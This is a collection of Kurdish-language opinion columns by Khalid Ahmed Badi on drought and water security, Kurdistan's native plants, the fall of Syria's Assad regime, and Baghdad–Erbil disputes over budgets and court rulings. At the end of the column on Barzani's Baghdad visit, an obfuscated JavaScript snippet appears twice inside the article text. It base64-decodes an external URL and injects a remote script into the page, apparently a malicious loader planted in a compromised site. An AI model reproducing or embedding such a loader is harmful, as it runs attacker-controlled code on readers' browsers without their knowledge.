خـالـد ئـەحمەد بـادی

2 ــــ 2

بۆ نموونە ل پارسال من گوه ل بهایێن ڤان تشتان بوون و دیتن كو بهایێ‌ سیسی یێ‌ ب (12,000) دوازدە هزار دیناران بوو ل چیایی و ل بازاڕی ب پتر ژ(30,000) سیه هزار دیناران بوو و نموونەكا دی بهایێ‌ كیلویا مازی یا تەر یا چیایێن سەربەرزێن كوردستانێ‌  ب بهایێ‌ ( 3,500) سێ‌ هزار و پێنچ سەد دیناران بوون و یێ‌ رۆژەكێ‌ ب تنێ‌ بچیتە مازییان دێ‌ پتر ژ 10 كیلۆیان كەت و تشتێ‌ سەرەنجراكێش لسەر ڤێ‌ چەندێ‌ كو هەر رۆژەكێ‌ دێ‌ چەند (كغم) مفاكەیی، ئانكو دێ‌ داهاتەكێ‌ باش بۆ تەهێت، بێ‌ هەمی خەرجیات و زەحمەت, ل ڤێرە ئەگەر ئەم هزركەین كو ئەڤ بەرهەمە هەمی ژ كوردستانێ‌ بەرهەم دهێن، بێگومان د ڤان سالێن دوماهیێ‌ دا و ب تایبەت د ئەڤ سالە دا رێژەیا باران بارینێ‌ نێزیكی سفڕێ‌ یە و ئەگەر ئەڤ بارانە نەبارن بێگومان دێ‌ رەوشا هەمی تشتەكی تێكچیت و زیانێن مەزن و خراب دێ‌ ب كوردستانێ‌ و كوردستانیان كەڤن. ل (22\3\2021) د راپۆرتەك و بەرنامەكێ‌ كەنالێ‌ (كوردستان 24) و (رووداوو) دا دیاركر، د ئەڤ سالە دا مەترسیەكا مەزن لسەر جیهانێ‌ و ئیراقێ‌ و هەرێما كوردستانێ‌ هەیە، ژ ئالیێ‌ كێم بارینا بەفر و بارانان ڤە كو ببیتە هشكە سالی و رەوش زۆر یا دیار و ئاشكەرایە كو سال بۆ سالێ‌ رێژەیا بارانبارینێ‌ كێمتر، لێ‌ دهێن و رێژا بەرفرەهبوونا ئاڤاكرن و چاندن و پێشەسازی و پێدڤییا جڤاكێن مرۆڤان لسەر ئاستێ‌ جیهانێ‌ ب ژێدەرێ‌ ئاڤێ‌ زێدەتر لێ‌ دهیت، چونكو رێژەیا مرۆڤان ل جیهانێ‌ ب گشتی زێدە دبیت و ئەڤ دیاردە یا زێدەبوونا مرۆڤان دێ‌ زۆر كارتێكرنێ‌ لسەر رەوشا جڤاكان كەت. زۆر ژێدەرێن جیهانی مینا رێكخراو یۆنسكۆ و (فاو) دبێژن ل سالا (2030) دێ‌ سالێن سەخت و دژوار و زۆر یا گران و نەخۆش بیت لسەر مرۆڤان، چونكو دێ‌ رێژەیا ئاڤێ‌ ل سەرتاسەرێ‌ جیهانێ‌ (40%) كێم بیت، ئانكو ل ڤی سەردەمی هندەك وەلاتێن جیهانێ‌؛ مینا وەلاتێن باشۆرێ‌ ئەڤریقییا و زۆر وەلاتان هشكەسالی یە، ئەگەر تو هزر و شلۆڤەكێ‌ بكەیی ل سالا (2030) ژ ڤی قەبارێ‌ هەی  (40%) كێم ببیت، دێ‌ رەوشا جیهانی و وان وەلاتان چ لێ‌ هێت. نوكە هەمی جیهان مژویلی بدەستڤەئینانا ژێدەرێن ئاڤێ‌ یە و ب دەهان پلانان دادنن و ب سەدان ڤەكۆلینان دكەن و ب ملیاران دۆلاران دمەزیخن ژبۆ پاراستنا ئاساییشا خۆ یا نەتەوەیی و خۆراكی و ئاڤێ‌, لەوما پەیاما من بۆ حوكمەتا هەرێمێ‌ ل سەر ڤێ‌ پرسا ترسناك رابوەستن و ئەو ژێدەرێن ئاڤێ‌ یێن مە هەیین بلا وەبەرهێنان بكەن بۆ كوردستانێ‌ و بەنداڤێن بچویك و مەزن چێكەن و كانی و رویباران بگرن و بكەن گۆم و پتر گرنگیێ‌ بدەنە دارچاندنێ‌ و دارستانان و كەرتێ‌ چاندنێ‌ كاڕا بكەن و بیرێن ئاڤێ‌ و كانی و رویبار و جۆكێن ئاڤێ‌ بۆ تاكان و كەسانێن خودان مەزرعە دچن لێ بگرن و ئاڤەكا كێم بدەنە وان و ئاڤا دی یا زێدە بۆ حوكمەتێ‌ وەبەرهێنان بكەن, ئەو ژێدەرێن ئاڤێ‌ یێن ژبەر دچن مینا رویباران بگرن یان ئاراستەیا وی بۆ ناڤ خاكا كوردستانێ‌ بزڤرینن, پیڤەرێن زیرەك بۆ ئاڤێ‌ دابنن چ بۆ مزرعەیێن تایبەت یان بۆ مال و كۆمپانی و جهێن ئۆتێل و هەمی جهان، داكو بتنێ‌ بەهرا خۆ یا بۆ پێدڤیێن وی بگەهیتێ‌ و بلا حوكمەتا مە هەمی رێكارێن یاسایی و كارگێری بگرنە بەر ژبۆ مفاوەرگرتن ژ ڤان ژێدەرێن مە ل كوردستانێ‌ هەیین و داكو ئەم ژی ئاساییشا خۆ یا نەتەوەیی و ئابۆری و خوراكی و ئاڤێ‌ و ئەمنی بپارێزین، هەر دیسا پێشنیار دكەم كو بادەكا ئاڤێ‌ دابنن ل سەر هەمی بادەكان ڤە و گرنگیەكا ئێكجار مەزن ب (ملف الما‌و) بدەن داكو تووشی وان گرفت و ئاریشەیان نەبین یێن كو مللەتێن جیهانی تووشبووین كو ئاڤا ڤەخوارنێ‌ نینە و ل زۆر وەلاتان خەلك ژ پیساتی و تێهنا دا گیانێ‌ خۆ ژدەستددەن، ل داویێ‌ دبێژم كوردستان ئاڤەدان بیت وپێشمەرگێ‌ مە پاراستی بیت وئالایێ‌ پیروزێ‌ كوردستانێ‌ هەر یێ‌ بەرز و بالا بیت.

خـالـد ئـەحمەد بـادی

1 ــــ 2

ئەگەر دوێربینا خۆ هەلبگرین و سەحكەینە بۆیەر و روودانێن بۆری یێن د ناڤبەرا چەرخ و قۆناغان دا ل كوردستانێ‌ پەیدابووین و ل ناڤەرۆكا وان رستە و پەیڤ و نڤێسینان دا بچینە خوارێ‌، دێ‌ زۆر راستی و دیرۆك و مێژوو تشتێن سەیر دێ‌ دیار بن یێن كو ژ ئالیێن جوداجودا یێن سروشتی و نەسروشتی ڤە, ئەگەر ل پاش خۆ بزڤرین و لێنێرینەكێ‌ ل دیرۆكا كوردستانێ‌ بكەین و سەحكەینە ژین و ژیارا كوردستانیان، دێ‌ بینین كو ل سەردەمێن بۆری كوردستان مینا سەبەتەكا خوارنێ‌ بوو یا پڕبوو ژ هەمی جۆرێن فێقی و دان و دكاكی و گل وگیایێن جۆراوجۆر و هەمی بەرهەمێن خومالی و یێن باش و ساخلەم و ب مفا كو گەلێ‌ كورد وكوردستانی مللەتەكێ‌ بەرهەمهێنەر و شارەزا و زیرەك و خۆڕستی بوون و سالانە ب هزاران هەمی جررێن گیایێن دێم و یێن ئاڤی و ب سەدان جۆرێن فێقی و زەرزەواتی و ب سەدان جۆرێن دانویلە و دان و دكاك و جۆرێن وێ‌ دهاتنە بەرهەمئینان و فرۆتن, كو ئەو بەرهەمێن خومالی تێرا تاكێ‌ كورد و خێزانا وی ژی دكر، هەروەسا بەشەك ژ ڤان بەرهەمێن خومالی دهاتە فرۆتن و مفایێن مەزن یێن داڕایی ژێ‌ دهاتنەكرن, ئانكو وەكی مە ئاماژە پێ‌ دای كو كوردستان مینا (ســـــــــــــــلة غذائية) بوو ئانكو سەبەتەكا خوارنێ‌ بوو. ل هندەك جاران بۆیەرێن نەچاڤەرێكری بەرەف مللەت و وەلات و حوكمەتان ڤە دهێن؛ كو ژبەر زرر ئەگەران چ یێن سروشتی بن یان نەسروشتی یان ژی ئەگەرێن پەیدابوونا شەڕ و جەنگ و ئاوارەیێ‌ یان ژی ئەگەرێن لافاو و بیڤەرلەز و باهۆز و بارۆڤەیێن هەوایی و بابەلیسكێن بهێز یان ژی ڤۆلكان و هشكەسالی و زۆر پرس و ئەگەرێن دی. ل ڤێرە دێ‌ باسێ‌ مە ل دۆر هشكەسالیێ‌ بیت و كێمبوون و نەهاتنا بەفر و بارانان ل سەر ئاستێ‌ جیهانی و هەروەسا هەرێمی و پرسا مە یا ل دۆر ئەوێ‌ چەندێ‌ بیت كو پشتبەستیا هەرێما كوردستانێ‌ لسەر چاندنێ‌ و ژێدەرێن ئاڤێ‌ و پێدڤی و كەلوپەلێن ناڤخۆیی و خوەزایی و مفای ژێ‌ وەرگرتن و وەلاتێ‌ مە كوردستان یا زەنگینە ب هەمی جۆرێن دار و گیا و گول و بەرهەم و دارێن بەرهەمهێنەر و دارێن دی مینا (دار بەڕی، دارا كەڤۆت، مازی، دیندار، كەزان، بێمك، گوهیشك، هەلهەلۆك، چنار، كوروسك، هژیر، باهیڤ، زەیتوون و یێن ئاڤی خۆخ و مشمش و ب دەهان جۆرێن سێڤا و دەهان جۆرێن تری، حلیك، گێلاس، گویز، هرمیك، هژیر، ئالو بالو، فستەق و ب دەهان جۆرێن دی و ..هتد. هەروەسا زۆر جۆرێن گل وگیایێن دی ژی هەنە ل كوردستانێ‌ مینا (سیسی، توفك، تولك، سێ‌ بسك، پیڤاز، لیش، شیركتك، قوراد، سیر، كەنگر، كیزرك، كێلیك، كەڤلەپیر، ترشۆك، قیڤار، پیڤۆك، شەپرزە، پیز، پێ‌ گورگ، كیزماز، پینگ، پێ‌ مریشك، پتاتۆشك، دومبەلان، سۆڕیاز، رێڤاس، پێرپوینە، سبت، كاری، كەلەندور، جاترك، خەندەلك، گیازاڤاك، گێژنك، پێرپینە، كەڤلەپیر،باییك، هەلز، سپنگ، گیا عەرەبك، باییك، بێزا، بیتانۆك، بەلالیسك یان بابەلیسك، بیك، كەلەندۆر، سەركولافك یان كفارك، پیشۆك، ب دەهان جۆرێن دی و هتد. ئەگەر ئەم بنڤێسین دێ‌ دەهان لاپەڕ تژی بن ژ ئاڤ و شێوە و رەنگێ‌ ڤان جۆرە گیایێن ناڤخۆی ئانكو خۆ ب خۆیی و كوردستانی. ئەگەر ئەم نڤێسینەكێ‌ یان ڤەكۆلینەكێ‌ دورست بكەین لسەر وان داهاتیێن ژ بەرهەمێن خوەزایێن كوردستانێ‌ بەرهەمدهیێن دێ‌ بینین ئەگەر ئەڤ بەرهەمێن پەروە و بێ‌ زەحمەت دێ‌ بنە ب بهایێ‌ ملیارێن دۆلاران, هەر ژ كەڤن دا مللەتێ‌ كورد بتنێ‌ ژین و ژیارا وانان لسەر ڤان بەرهەمان بوون.

خالد ئه‌حمه‌د بادى
د ده‌مێ هزرێ د ئاڤاكرنا وه‌لاته‌كى دا بكه‌ی یان هزر د سه‌ره‌ده‌رى و سیسته‌م و سیاسه‌تا وى ده‌ستهه‌لات و ده‌ستهه‌لاتدارى دا بكه‌یى، دێ زۆر رسته‌ و په‌یڤ و مانه‌ و ڕاڤه‌ دیاربن, كه‌سایه‌تیا هه‌ر ده‌ستهه‌لاتداره‌كى دێ دیاربیت كو ب چ شێواز و رێك سه‌رده‌رى كرى یه‌ و ب بۆرینا چه‌ندین سالان كو كورسیكا خۆ پاوانكرییه‌ د ماوه‌یێ پاوانكرنا كورسیكا خۆ دا هه‌مى هه‌ولدان كرینه‌ كو خه‌لكێ خۆ وه‌كى خۆلێ بكه‌ت, ئانكو د كریاره‌كا فه‌لسه‌فى و هزرى دا، ئه‌و سیاسه‌تا د ده‌ستهه‌لاتداریا خۆ دا ئه‌نجامدایى بێگومان دێ ل سه‌ر ملله‌تێ خۆ ژى په‌یروه‌ كه‌ت, د ماوه‌یێ پتر ژ پێنجى و چار سالێن ده‌ستهه‌لاتداری یا بنه‌مالا ئه‌سه‌دێ دكتاتۆر دا شیاینه‌ مێشكێ تاكێ سوورى پڕ بكه‌ت ژ هزروبیرێن خۆ یێن ڤایرۆسى و توندره‌و و شیان كارتێكرنێ لسه‌ر وه‌لاتیێ سوورى بكه‌ت كو مینا كونترۆله‌كى د ده‌ستێن ده‌ستهه‌لاتێ دا بن، ئانكو د ده‌ستێن بنه‌مالا ئه‌سه‌دى دا بن و ل ڤێره‌ مه‌ره‌ما مه‌ ئه‌ڤه‌یه‌ ل ئیراق و سووریێ و هه‌مى وه‌لاتێن ده‌ستهه‌لاتێ وان دكتاتۆرى سوپایه‌ك دروستكربوون ژ جاش و كرێگرتى، شه‌بیحه‌، هه‌والگه‌رى، ئاساییش، حرس جمهۆرى، ساڤاك، میت و زۆر ناڤێن دى كو مینا گورگێن ده‌ڤ بخۆین هۆڤ زولم و سته‌م ل ملله‌تێن خۆ و خه‌لكه‌كێ سڤیل و بێگونه‌ه دكرن. نه‌هامه‌تێن گه‌لێ سوورى هه‌ر ژ كه‌ڤن دا ژ بنه‌مالا ئه‌سه‌دى دیتین و ل ده‌مێ هاتیه‌ سه‌ر ده‌ستهه‌لاتى ل سالا (1970) ژ لایێ حافز ئه‌سه‌دى ڤه‌ كو پشتى كۆده‌تایه‌كا له‌شكرى ئه‌نجامدایى ل دژى هه‌ڤالێن خۆ یێن نێزیك و هه‌تا نوكه‌ زۆرن و ب هه‌مى ره‌نگان ئه‌سه‌دى ملله‌تێ خۆ دهێلانه‌ برسى و زیندان دكرن و كورد بێ به‌هركربوون ژ ناسنامێ و مینا وه‌لاتیێن پله‌ (10) ژى نه‌دهژمارتن. ل (30) نۆڤه‌مبه‌رێ، ئانكو هه‌یڤا چریا ئێكێ یا سالا (2024) هێزێن ئۆپوزسیۆنا سوورى ب سه‌ركێشییا ده‌سته‌یا ئازادكرنا شامێ و خه‌لك و ملله‌تێن سوورى لڤینێن باش بله‌زكرن و ئه‌ندام دا و به‌ره‌ف (حماه‌) ڤه‌ و پاشى هه‌مى ده‌ڤه‌رێن سووریێ ئازادكرن و زۆر تشتێن حێبه‌تى و د هه‌تا كو هزركرن د خه‌یالا دا نه‌ دهاته‌كرن ئه‌و زیندانێن كو ب هزاران خه‌لكێ بێگونه‌ه د ژۆر ڤه‌ كو هنده‌ك ژ وانان نه‌ دزانى كو ده‌ستهه‌لات یێ هاتیه‌ گوهۆرین و حافز ئه‌سه‌د یێ مرى, ب هزاران زیندانێن مه‌زن و گرتیخانێن نهێنى ل سووریێ هه‌بووینه‌ د ده‌مێ ده‌ستهه‌لاتێ، بنه‌مالا ئه‌سه‌دى دا كو ژ وان زیندانا سیدنایا و زیندانا عه‌درا ل گونده‌وارێ دیمه‌شقێ و زیندانا ئه‌دلب و هه‌ر باژێره‌كى زیندانا خۆ یا تایبه‌ت هه‌بوو و راپۆرتێن (un) دیاركریه‌ كو یێن د زیندانێن سووریێ دا یێن د به‌رزه‌ پترن ژ (130) هزار زیندانى. دكتاتۆر كه‌فت و رژێما شێرێ بێ زه‌نگل ره‌ڤى و شێر بۆ رویڤى و لڤێره‌ دێ بۆ مه‌ دیاربیت كو پرسێن مه‌زهه‌بى و نه‌ته‌وه‌یى و به‌رژه‌وه‌ندیێن وه‌لاتێن زلهێز و یێن هه‌رێمى و ئوپوزسیۆنا سوورى و لایه‌نێن كورد دێ چ ئاراسته‌ و سیاسه‌ت و سیناریۆ هه‌بن, ب بۆچوونا من ئه‌و ته‌قن پتر بیته‌ ته‌قنه‌كا چڕتر و دێ ره‌وش مینا ئیراق و لیبیا و وه‌لاتێن دى خراپتر لێ هێت و ئارێشه‌ نه‌دوێره‌ دایه‌ كو دكتاتۆره‌ك چوو ئاریشه‌ ئه‌ڤه‌ یێن هاتین و ده‌ستهه‌لات وه‌رگرتى ل سووریێ زۆر خرابترن و هه‌ر ئه‌و بوون یێن لبه‌ر په‌روه‌رده‌یا بشار و حاڤز و سه‌دام و حه‌سه‌ن نه‌سروللا و خومه‌ینى و ره‌فسه‌نجانى و قائانى و قاسم سلێمانى و نه‌جاتى و سیستانى و ئه‌ردۆغانى و مه‌حمه‌د جۆلانى و.. هتد. كو ب راستى ئه‌ڤه‌ هه‌ر ئه‌ون یێن ئه‌ڤه‌ مامۆستایێن وان و دێ بیته‌ مه‌ترسى ل سه‌ر هه‌مى ده‌ڤه‌رێ. بلا هه‌مى ل سه‌ر مێزه‌كا بازنه‌یى روینن و بلا به‌رژه‌وه‌ندیا وه‌لاتێ خۆ ل به‌ر چاڤ وه‌رگرن و بلا هه‌مى دكتاتۆرێن رۆخیایین ببنه‌ عیبره‌ت بۆ وانان و بلا هه‌ڤالینى و براینى و ئێكگرتنێ په‌یروه‌ بكه‌ن دا سه‌ربكه‌ڤن.

خالد ئه‌حمه‌د بادى
زۆر جاران مرۆڤ بهایێ ده‌لیڤه‌كێ نزانیت هه‌تا كو بۆ مرۆڤى دبیته‌ بیرهاتن و جاران ژى مرۆڤ بهایێ كه‌سه‌كى یان كۆمه‌ك و گرۆپه‌كى نزانیت هه‌تا دمریت و په‌شیمانێ وى گرۆپ و مرۆڤى دبیت, ژبۆ ملله‌ت و كه‌س و جڤاكان ژى ده‌لیڤه‌یێن زێرین دروست بووینه‌، هنده‌ك ژ وان ئه‌و ده‌لیڤه‌ بۆ خوه‌ ب ده‌رفه‌ت زانییه‌ و په‌یه‌وكرینه‌ و مفا ژێ دیتیه‌، هنده‌كان ژى ب ده‌لیڤه‌ نه‌دیت, بێگومان ملله‌تێ كورد زۆر ده‌لیڤه‌ دیتینه‌، لێ ژده‌ستداینه‌ و ئه‌گه‌ر ژى دپێشچاڤن و به‌رژه‌وه‌ندیێن تایبه‌تێن زلهێزانن, هه‌رده‌م ملله‌تێ كورد د كاڤلوژانكێ توندی و ئه‌شكه‌نجه‌ و زولم و سته‌ما دوژمنان و هه‌مى حوكمه‌تێن ئیراقێ دا هه‌رده‌م ئه‌ورێن ره‌ش و تارى ل شوینا به‌فر په‌رمیچكێن به‌فرا سپى لسه‌ر كوردان باراندبان؛ په‌رمیچكێن به‌فرا ره‌ش لسه‌ر كوردان دكر و دوژمنكارى ب سه‌رى دئینان، هه‌مى جۆرێن خرابكارى و توندیێ ل به‌رامبه‌ر ملله‌تێ كورد هاتینه‌كرن, لێ فه‌ره‌ كورد به‌رێ خوه‌ بده‌نه‌ بۆریێ خوه‌ و ل پاش خوه‌ بزڤرن ئه‌و ده‌لیڤه‌یێن هه‌ین ژ ده‌ستداینه‌ ژبه‌ر باشى و دلساخى و جوامێریا وان، هه‌روه‌سا یا حوكمه‌تا هه‌رێما كوردستانێ.
گه‌ر ل دیرۆكێ بزڤرین پێداچوونه‌كێ ل ناڤه‌رۆكا فه‌رهه‌نگا دیرۆكا گشتى بكه‌ین؛ دێ زنجیره‌یه‌كا بێ رێزى و بێ به‌هركرن و بێ هه‌مى تشته‌كى رژێمێن ئیراقێ ب سه‌رێ كوردان ئیناینه‌، به‌رنامه‌كێ رێكوپێك پشتراستكرى ب پیلان و پلانێن حوكمرانێن ده‌ستهه‌لات ل ئیراقێ كرى هه‌مى بووینه‌ باده‌ك و پرس و پرسگرێكێن هه‌ستیار یێن كو ل دژى ملله‌تێ كورد و حوكمه‌تا هه‌رێما كوردستانێ هاتینه‌ ئه‌نجامدان, زۆر كاره‌سات و ده‌رده‌سه‌رى كارێن كه‌شه‌فرێت كو دوژمن ب سه‌رێ دوژمنێن خوه‌ نائینن حوكمه‌تێن ئیراقێ ب سه‌رێ كوردان ئیناینه‌ و ل كه‌ڤن و دێرین زه‌مان دا، ب رێكێن شه‌ڕ و هیرش پیلان و پلان داناینه‌ و كیمیابارانكرن و جینۆساید و ئاواره‌یى و مشه‌ختبوون، زیندان و لێدان و ئه‌شكه‌نجه‌ و ده‌ركرن و بێ به‌هركرن ژ هه‌ر مافه‌كێ ره‌وا یێ ملله‌تێ كورد, هه‌مى رێك و شێوازێن خراب و نه‌باش هاتنه‌كرن، كورد بۆ چه‌ندین سالان پاشڤه‌برن، هه‌رده‌م نه‌هێلایه‌ بگه‌هنه‌ ئارمانجێن خوه‌. پشتى سه‌رهلدانا پیرۆزا((1991)) ب ده‌ستێن پێشمه‌رگێ قه‌هره‌مان ب سایا سه‌رێ خوینا شه‌هیدێن كورد و كوردستانێ ئه‌ڤ رۆژه‌ هاته‌ پێش بۆ ملله‌تێ كورد و مه‌ هزر كر ئه‌وێن دێ ده‌ستهه‌لاتێ ل ئیراقێ وه‌رگرن، دێ ب گرنژین و كه‌یفخۆشى ڤه‌ هه‌مى مافێن ره‌وایێن ملله‌تێ كورد به‌رهه‌ڤ و حازركه‌ن و دێ ب دلشادى ڤه‌ بێژن وه‌رن مافێن خوه‌ وه‌رگرن لێ به‌روڤاژى یا حوكمه‌تا ئیراقا باب چ كێمتر نابیت و نه‌بوو، لێ ئه‌وان ژى ب ده‌ه پله‌یان ئانكو ده‌ستهه‌لاتدارێن ئیراقێ هه‌ر ئه‌و بڕگه‌ و خاله‌ ئه‌نجامدان یێن كو برایێن وان دكرن. حوكمه‌تا ئیراقا نوكه‌ ب شێوازه‌كێ دى یێن شه‌ڕى دگه‌ل كوردان دكه‌ن كو پرسێن بودجه‌، گاز، غاز، بڕینا مووچێن وه‌ایێن سڤیل و بێگونه‌ه، پرسێن جیۆگرافى، مه‌زهه‌بى، پرسێن تایبه‌ت، گشتى، ئاواره‌كرن، شۆره‌ش هتد.. ب ڤان بهانه‌یان هێرشى كوردان دكه‌ن. له‌وما سه‌رۆك بارزانى باده‌كه‌كا چه‌ند خالى دگه‌ل خوه‌ بریه‌ به‌غدایێ و ئێك ژ وان كاره‌ساتان ل ناڤا و دۆرماندۆر و هۆل و كۆلانكێن دادگه‌ها فیدرالى رویداین ل ریككه‌فتى (22-2-2024) رویداین سیناریۆیه‌كا پێشده‌م بوو، ئه‌كته‌ر، ده‌رهێنه‌ر، مۆنیتێر، كامیره‌ڤان، ستاف هه‌مى یێ ئاماده‌ و ئاگه‌هداربوون كو زۆر خالین جوداجودا بخوه‌ڤه‌ دگرتن، لێ خالا دى یا كۆتاییان كو ژ (111) رێژه‌كریه‌ (100) و پاشى بریاره‌كا دى ژى دان كو په‌رله‌مانارا بریارێن دى هه‌مى ب تنێ مایتێكرنێن راسته‌وخوه‌ و ئێكسه‌رن د حوكمه‌تا هه‌رێمێ دا و ژ ێستاندنا ده‌ستهه‌لات و شیان و بریارایه‌ و ل به‌ره‌ سیسته‌مى بگوهۆرن یاكو به‌رى چه‌ندین سالان، هه‌ر هنده‌ك كوردان ب خوه‌ ب خوه‌ ئیمزا بۆ كرى كو سیسته‌مێ (فیدرالی یا پارێزگه‌هان), نوكه‌ هه‌مى ئاماژه‌ یێن بۆ وى ئاراسته‌یى دچن كو قه‌وارێ هه‌رێما كوردستانێ نه‌هێلن. له‌وما مه‌ لسه‌رى ئاماژه‌ ب ڤێ چه‌ندێ داینه‌ كو عه‌ره‌بكرنه‌كا مودێرن، هێرشێن توند و هۆڤ یێن دهێنه‌ سه‌ر ملله‌تێ كورد و حوكمه‌تا هه‌رێما كوردستانێ, ل شوینا په‌رمیچكێن ره‌شتارى و باراێن ب لێهمشت دێ به‌فرا سپى باریت و دێ بارانێن ئارام و ب به‌ره‌كه‌ت بارن. ده‌ما هۆزانڤان دبێژیت (ئه‌گه‌ر هوون نه‌بن یه‌ك هوونێ هه‌ڕن یه‌ك ب یه‌ك)، ئانكو ئه‌گه‌ر مه‌ بڤێت ده‌لیڤا خوه‌ بكه‌ینه‌ دۆرهێل و كه‌توار دێ ب ئێك هزر و یه‌ك ده‌ست و یه‌ك بریار بین وێ لسه‌ر دوژمنان سه‌ركه‌ڤین. بۆ ڤێ گه‌ڕێ ژى مینا هه‌مى گهڕان بارزانى باده‌كا خوه‌ هه‌لگرت كو یا پڕه‌ ژ برس و پرسگریكێن ل ناڤبه‌را حوكمه‌تا ئیراقێ و یا هه‌رێما كوردستانێ دا هه‌یین كو ئه‌و ژى باده‌كا نه‌فت و غاز، بودجه‌، مووچه‌، هه‌لبژارتن و په‌رله‌مانێ ئیراقێ، پرسێن پێشمه‌رگه‌ و بودجه‌ی و مووچه‌یێن پێشمه‌رگه‌یى، پرسێن جیۆگرافى و..هتد. بارزانى به‌رێ خوه‌ دا به‌غدایێ و ل گه‌ل لایه‌نێن شیعى و سونى و پتریا كه‌سایه‌تى و رایه‌دارێن كورد و ئیراقێ روینیت ژبۆ چاره‌كرنا وان پرسگرێكێن هه‌یى. خاله‌كا دى كو ب جلوبه‌رگێن كوردى یێن شرین و ده‌رسۆكا سۆرا خوینا شه‌هیدان چوویه‌، ئه‌و ده‌رسۆك و خاك خاله‌ك ههره‌سه‌ره‌كى یه‌ بو بهێزبوونا كوردان به‌رامبه‌ر دوژمن و دۆستان ژى, ب ئۆمێدم دێ سه‌رۆك بارزانى هه‌مى وان پرسان چاره‌كه‌ت، چونكى كلیلا چاره‌سه‌ریا پرسگرێكێن گرێداین هه‌ولێر و به‌غدایى ب رێژه‌كا باش د ده‌ستێ سه‌رۆك بارزانى دایه‌.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

خالد ئه‌حمه‌د بادى
د ڤان قۆناغێن نازك و هه‌ستیار دا ل ته‌ڤایا جیهانێ و ب تایبه‌ت ل ئیراقێ و هه‌رێمێ بابه‌تێ هه‌رێ گه‌رم وگۆر ره‌وشا ئیراقا فیدرال وهه‌رێما كوردستانێ یه‌. لێ ئه‌ڤ پرسه‌ ژ پرسه‌كا هه‌ڤسویى و مرۆڤایه‌تى و وه‌لاتینى و ماف و ئه‌ركیێ كریه‌ پرسه‌كا سیاسى و تۆلڤه‌كرنێن سیاسى و جیۆگرافى و ئابۆرى و..هتد. ئه‌ڤ ره‌وشه‌ كریه‌ پرسه‌كا بازرگانى پێ دهێنه‌كرن ئانكو مانۆره‌یێن سیاسى و گشتى پێ دهێنه‌كرن. ئه‌گه‌ر سه‌حكه‌ینه‌ دیرۆكا ئیراقا گه‌نى؛ بێگومان هه‌رده‌مێ حوكمه‌تێن ئیراقێ لاواز دبوون دانوستاندن ل گه‌ل سه‌ركردایه‌تیێن شۆرشێن كوردان و ملله‌تێ كورد و ب تایبه‌ت سه‌ركردایه‌تیا شۆرشا ئیلۆن و گولانێ دكرن و هه‌رده‌مێ ب هێز دكه‌فتن، بێگومان شه‌ڕ دكر و سۆزێن خوه‌ ب جه نه‌دئینان و ژ دانوستاندنان دره‌ڤین سۆزێن دایین جه بجه نه‌ دكرن, بۆ ڤێ گه‌رێ ژى لسه‌ر پرسا بریارێن دادگه‌ها شیعى و ئیرانێ كو بناڤ دادگه‌ها فیدرالى یا ئیراقا گه‌نى دیسا شیعه‌ و سونه‌ و هه‌مى عه‌ره‌بان سۆزێن خوه‌ ب جه نه‌ئینان و رۆژانه‌ یێ یاریان ب مافێن كوردان دكه‌ن و به‌رده‌وام یێ كوردان دشكێنن و مافێن وان دخۆن وبن پێ دكه‌ن و هه‌ولدانان دكه‌ن كو قه‌وارێ هه‌رێما كوردستانێ نه‌هێلن و كورد و كوردستانێ نه‌هێلنه‌ د هه‌بوونێ دا. بریارێن دادگه‌ها فیدرال یا ـ نه‌ فیدرال ـ یێن به‌رییا هه‌یامه‌كێ كو فه‌رمانا ژ هنده‌ك لایه‌ن وجهان وه‌ردگرن زۆر د به‌رژه‌وه‌ندییا قه‌وارێ هه‌رێم و ملله‌تێ كورد دا نه‌بوون، ب تایبه‌ت خالا مووچه‌یێن فه‌رمانبه‌رێن هه‌رێمێ كو ب سه‌دان جاران لیسته‌ و داتا و ئامارێن فه‌رمانبه‌ران حوكمه‌تا هه‌رێمێ یێن راده‌ستى حوكمه‌تا ئیراقێ كرین لێ هه‌ر گه‌رێ یێ بهانه‌یێن نوى ده‌ردكه‌ن و دیاردكه‌ن ودبێژن و كوردان تاوانبار دكه‌ن و مینا وێ گۆتنێ كو ده‌رزیكێ د چاڤێ كوردان دا دبینن و گێسنى د چاڤێ خوه‌ دا نابینن و ئه‌و گه‌نده‌لیێن ل ئیراقێ هه‌یین ل وه‌لات و ده‌وله‌ت و حوكمه‌تان نینن، لێ ب تنێ به‌رامبه‌ر كوردان ئه‌ڤ كریارێن كه‌شه‌فرێت یێن دهێنه‌ ئه‌نجامدان و خالا دى یا كۆتایان كو ژ (111) رێژه‌ كریه‌ (100) و بریارێن دى هه‌مى ب تنێ مایتێكرنێن راسته‌وخوه‌ و ئێكسه‌رن بۆ حوكمه‌تا هه‌رێمێ و ژ ێستاندنا ده‌ستهه‌لات وشیان و بریارایه‌ و لبه‌ره‌ سیسته‌مى بگوهۆرن و یاكو به‌رى چه‌ندین سالان هه‌ر كوردان ب خوه‌ ئیمزا بۆ كرى كو سیسته‌مێ (فیدرالی یا پارێزگه‌هان)، هه‌مى ئاماژه‌ یێن بۆ وى ئاراسته‌یێ دچوون كو قه‌وارێ هه‌رێما كوردستانێ نه‌هێلن. كوردان رۆله‌كێ ئێك جار مه‌زن گێرایه‌ بۆ خزمه‌تكرنا وان لایه‌نان و پارتان یێن نوكه‌ ل ئیراقێ حوكمرانیێ دكه‌ن، لێ به‌رده‌وام هه‌مى حوكمه‌تێن ئیراقێ مافێن كوردان بنپێ كرینه‌ و زولم ل كوردان ب گشتى كریه‌. خالا ب تنێ كو كورد بشیێن به‌رامبه‌ر ڤان هێرشان راوه‌ستن و خوه‌ بهێز بكه‌نه‌ڤه‌ و ببنه‌ جهێ به‌لانسێ، لێ بۆ ڤى ده‌مى هه‌رێم شییا ئاسته‌نگان تێبپه‌رینیت و وان بریارێن خراب ژ خوه‌ دووربێخیت ، دێ مینیت ب تنێ ئێكگرتن و ل گه‌ل هه‌ڤدو روینشتن و كورد ده‌ستێن خوه‌ بكه‌ن د ناڤ ده‌ستێن 